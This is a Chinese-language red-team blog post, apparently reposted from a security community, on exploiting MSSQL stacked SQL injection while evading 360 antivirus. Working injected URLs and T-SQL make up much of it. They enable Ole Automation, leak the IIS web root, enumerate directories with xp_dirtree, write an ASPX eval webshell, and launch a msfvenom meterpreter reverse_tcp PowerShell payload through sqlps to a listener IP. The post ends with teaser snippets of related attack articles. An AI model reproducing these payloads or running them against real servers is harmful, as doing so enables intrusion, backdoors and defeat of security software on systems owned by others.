<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Mssql注入繞過360執行命令

    VSole2022-08-11 09:04:01

    0x01 廢話

    有時候mssql注入會碰到-os-shell執行不了命令的情況,有可能是因為權限不夠不能開啟xp_cmdshell,還有可能就是殺軟攔截了

    常見的只有360會攔截,如果被攔截了就是下面這樣的

    0x02 攔截原因

    這里用上x64dbg在CreateProcessA和CreateProcessW打上斷點,MSSQL調用的CreateProcessW

    可以看到xp_cmdshell是直接使用cmd /c來執行命令的,這攔截的原因和之前的php很相似,不過這里沒有php那么高的操作空間

    0x03 寫webshell到網站根目錄

    一般來說都是IIS+MSSQL的搭配,MSSQL可以用sp_oacreate來執行一些讀寫功能,因為不調用cmd所以360不會攔截,前提是需要知道網站的根目錄

    如果權限夠高可以直接將IIS配置文件404頁面,首先要開啟sp_oacareate這個存儲過程

    exec sp_configure 'show advanced options', 1;RECONFIGURE
    exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE
    

    然后用sp_oacreate創建scripting.filesystemobject對象調用copyfile這個方法來實現復制文件

    declare @o int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\inetsrv\config\applicationHost.config' ,'C:\inetpub\custerr\zh-CN\404.htm';
    

    這里的配置文件是IIS7的,路徑是固定的,404的路徑也是固定的,只要權限夠高就可以復制過來

    當然如果是國外語言路徑可能會變化

    http://192.168.159.128/index.aspx?user_id=1;
    exec sp_configure 'show advanced options', 1;RECONFIGURE;
    exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
    declare @o int;
    exec sp_oacreate 'scripting.filesystemobject', @o out;
    exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\inetsrv\config\applicationHost.config' ,'C:\inetpub\custerr\zh-CN\404.htm';
    

    然后訪問一個不存在的頁面就可以找到網站根目錄

    權限低的話可以用xp_dirtree來找就是有點慢

    http://192.168.159.128/index.aspx?user_id=1;
    CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
    insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
    

    先創建一個tmp表然后將xp_dirtree的結果輸出到tmp中

    在網頁中需要使用注入查表得到結果,如果直接查詢可能會報錯需要轉換一下

    http://192.168.159.128/index.aspx?user_id=-1 union select null,null,(select top 1 convert(varchar(100),dir COLLATE Chinese_PRC_CI_AS) from FoundStone_Bank.dbo.tmp),null,null
    

    MSSQL和MYSQL不同沒有LIMIT需要用where來過濾不想要的結果

    http://192.168.159.128/index.aspx?user_id=-1 union select null,null,(select top 1 convert(varchar(100),dir COLLATE Chinese_PRC_CI_AS)  from FoundStone_Bank.dbo.tmp WHERE DIR not in (SELECT TOP 1 dir FROM FoundStone_Bank.dbo.tmp)),null,null
    

    類似這樣,前面的top 1不用改,where中的top 從0開始增長就可以,sqlmap也是同種方式

    雖然xp_dirtree的方法繁瑣但是還是可以有效的找到絕對路徑,要么網站和數據庫不在同個地方這就辦法了

    select host_name();      //主機名
    select @@servername;     //服務器名
    //如果相同則代表數據庫和web在同一臺機器上面
    

    得到根目錄后用Scripting.FileSystemObject中CreateTextFile和WriteLine來實現寫入webshell,注意有攔截的話上面肯定有360webshell要免殺

    http://192.168.159.128/index.aspx?user_id=1;
    declare @f int,@g int
    exec sp_oacreate 'Scripting.FileSystemObject',@f output
    EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\inetpub\wwwroot\shell.aspx',1
    EXEC sp_oamethod  @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'
    

    拿到shell了基本是IIS的用戶,這里本來可以直接通過juicypotato提權,但是360不知道從什么時候開始加上了CrteateProcesWithToken的hook就提權不了了。

    整理了一下想著mssql本來就是高權限的,只要想辦法用mssql來執行木馬就可以了

    0x04 權限提升

    說明一下只有mssql2005是直接高權限,這次的測試環境搭建的時候使用管理員啟動的mssql,所以mssql實際的權限取決于網站管理員

    在護網中也有碰到過用administrator起mssql的網站管理員,所以下面的方法就是提供一種思路

    在網上搜索了一下發現用wscript.shell可以不調用cmd執行程序

    declare @o int;
    exec sp_oacreate 'wscript.shell',@o out;
    exec sp_oamethod @o,'run',null,'calc';
    

    可以看到在sqlserver的進程中啟動了計算器,但是上傳上去的木馬,運行了就會提示某某程序在入侵sqlserver不讓運行

    經過多次測試后發現:

    1. 在系統目錄中無害的程序是不殺的,像calc,ipconfig,tasklist這些,哪怕復制到別的路徑來也不攔截
    2. 有數字簽名的

    像cmd,powershell啥的在系統目錄中但是也被殺的死死的,還有一個關鍵點,有數字簽名的程序創建的進程要是不可信還是會被攔截,只要檢測到父進程是sqlserver就會殺的特別死。

    那么需要找一個有數字簽名的,可以直接加載到內存中的程序就可以上線了,在mssql的目錄中看到了sqlps.exe有點眼熟,找了一下發現最近有篇文章就是關于sqlps的

    放棄 powershell? 啟動 sqlps!| 紅隊攻防

    可以說是一個功能不全的powershell吧,但是可以直接執行ps1腳本,這樣就不會創建進程導致被殺軟攔截

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.130.4.204 LPORT=60001 -f psh-reflection > shell.ps1
    

    這里要用msf生成的腳本,cs生成會出現問題執行不了。將生成的腳本上傳到服務器,上傳的的方法有很多,可以用遠程下載,也可以像webshell一樣寫入

    遠程下載只需要將Certutil.exe重命名,然后放到別的目錄就可以了

    http://192.168.159.128/index.aspx?user_id=1;
    declare @o int;
    exec sp_oacreate 'wscript.shell',@o out;
    exec sp_oamethod @o,'run',null,'sqlps -ExecutionPolicy bypass -File c:\windows\temp\shell.ps1';
    

    這樣就上線了,但是到這里還是不能執行命令的,因為本質還是sqlserver下的進程,需要用migrate注入到別的進程內就可以執行命令了

    0x05 總結

    sqlps直接執行是會被360攔截的,但是由sqlserver創建后執行就不攔截了。

    mssql是可以直接修改注冊表啟動項的,當然sqlps修改注冊表也是不會被攔截的,這可能就是有簽名的強大吧。

    因為2008操作空間有點小,如果有.net4.0可以用dotnet,csi這些直接將惡意代碼加載進內存。

    總的來說需要一個有數字簽名的程序可以直接加載進內存,如果有數字簽名的程序可以直接執行dll,要么存在dll劫持的漏洞,也可以達到上線的目的。

    文章來源:奇安信攻防社區(Macchiato)
    shellmssql
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    有時候mssql注入會碰到-os-shell執行不了命令的情況,有可能是因為權限不夠不能開啟xp_cmdshell,還有可能就是殺軟攔截了 常見的只有360會攔截,如果被攔截了就是下面這樣的
    0x01 前言菜雞第一次實戰中碰到mssql的堆疊注入,大佬們輕噴。本來對堆疊注入沒啥了解,這次正巧碰到mssql的堆疊注入,正好加強一下對堆疊注入的理解。0x02 堆疊注入因為在sql查詢語句中, 分號“;”代表查詢語句的結束,所以在執行sql語句結尾分號的后面,再加一條sql語句,就造成了堆疊注入。菜雞不會審計php代碼,這里就不貼sql語句的源碼了。
    本來對堆疊注入沒啥了解,這次正巧碰到mssql的堆疊注入,正好加強一下對堆疊注入的理解。堆疊注入因為在sql查詢語句中, 分號“;”代表查詢語句的結束。所以在執行sql語句結尾分號的后面,再加一條sql語句,就造成了堆疊注入。
    Mssql繞過360拿到webshell
    2022-08-23 16:09:39
    通過--sql-shell 來手動開啟EXEC sp_configure 'show advanced options', 1;當sqlmap啟動xp_cmdshell組件執行失敗的時候還會嘗試去開啟sp_OACreate,手動執行語句為:EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;通過以上的操作來尋找目錄的地址,然后通過以上的操作來寫文件就可以了后來通過同服旁站的查詢發現另外一個站點上的目錄上文件有報錯,同樣可以發現路徑來嘗試寫到另一個站點上,高權限
    朋友在項目中遇到這樣一個場景
    上周在先知社區看到@Xgstar師傅寫的《SQLserver寫Webshell總結-突破中文路徑》文章中提到一個利用批處理寫Webshell至中文路徑的思路,但最后他并沒有成功利用這個思路寫入Webshell。 因為之前也寫過這類場景的利用思路,所以就想對他提到的這個思路以及遇到的問題簡單測試下,關于更多寫Webshell至中文路徑的思路可參考我之前寫的《MSSQL高權限注入寫馬至中文路徑》。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类